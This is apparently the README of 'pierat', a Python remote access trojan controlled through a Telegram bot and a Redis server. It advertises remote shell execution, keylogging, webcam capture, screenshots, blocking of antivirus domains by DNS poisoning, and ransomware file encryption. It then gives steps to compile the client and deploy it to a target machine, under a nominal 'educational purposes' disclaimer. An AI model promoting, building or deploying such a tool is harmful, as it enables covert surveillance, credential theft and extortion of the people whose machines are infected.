This project was made for educational purposes as a side project. I do not condone or support any malicious activity involving this tool. Use responsibly and ethically.
- No Support: I will not provide installation support or a tutorial on setting up Redis Cloud to prevent misuse.
- No Liability: I am not responsible for any damages caused by the use of this tool.
- File Management: Upload and download files via Telegram.
/upload
- Prompts for a file to upload to the chat./download
- Downloads files.
- Shell Commands: Execute shell commands remotely.
/execute <SHELL_COMMAND>
- System Info: View system details.
/sys_info
- Screenshot: Take a screenshot of the target machine.
/screenshot
- File Management Commands:
/cd
,/pwd
,/ls
,/move
,/copy
,/delete
,/mkdir
- Process Management:
/ps
- List processes./pskill <PID or PROCESS NAME>
- Kill a process.
- Message Box: Display a message box on the target machine.
/msg_box "TITLE" "CONTENT"
- Jumpscare: Play loud and frightening videos.
/jumpscare <PRESET>
- Volume Control:
/get_volume
- Get current volume./set_volume <INT>
- Set system volume.
- Audio Player:
/start_audio <LOCAL_AUDIO_PATH>
- Play audio on the target./stop_audio
- Stop audio playback.
- Text-to-Speech: Speak text on the target machine.
/tts <TEXT TO SPEAK>
- Open URL: Launch a URL in the default browser.
/open_url <URL>
- Keylogger: Start or stop keylogging.
/start_keylogger
,/stop_keylogger
- Proxy: Host a proxy with ngrok.
/start_proxy
,/stop_proxy
- DNS Poisoner: Block or unblock domains, including AV sites.
/block_av
,/unblock_av
/block_domain <DOMAIN>
,/unblock_domain <DOMAIN>
- Ransomware: On demand encryption and decryption with Fernet.
/set_key <KEY>
,/encrypt_files
,/decrypt_files
Modules are precompiled and hosted to save payload space.
- List Cameras:
/list_cameras
- Capture Webcam:
/capture_webcam <INDEX>
- A working Redis server.
- A Telegram bot token and Chat ID.
- Python ( 3.11.9 is tested and working )
First clone this repo and travese into it.
git clone https://github.com/python312/pierat.git
cd pierat
Create environment and install requirements.
python -m venv pierat
.\pierat\Scripts\activate.bat
pip install -r requirements.txt
Edit the main.py
and populator.py
scripts and fill out with your configuration.
- Compile
main.py
with your favourite compiler, e.gpyinstaller
nuitka
- Run
populator.py
in the background of your computer. - Deploy the main.py executable to target machine.
- On the Telegram Bot send
/list_computers
to list computers connected and/set_computer <COMPUTER_ID>
to channel commands into that computer
The system operates with the populator.py
script, which serves as the single poller to fetch Telegram updates and populate them into the Redis server. This approach addresses the limitation of a single bot instance being allowed to poll updates by centralizing the process through populator.py
. This script is only required to run while interacting with the bot. Worker processes, referred to as "zombies," connect to the Redis server to retrieve and process updates, reducing load and bypassing polling restrictions. Zombies handle tasks based on their assigned roles, reacting to updates accordingly. The Redis server also manages the assignment of specific computers by comparing their UUIDs with preconfigured values that are set in the Redis. Additionally, populator.py
processes global commands, such as /list_computers
and /set_computer
- ChatGPT, helped me in some of the minor things / bugs.
- Pysilon, inspired me to make this.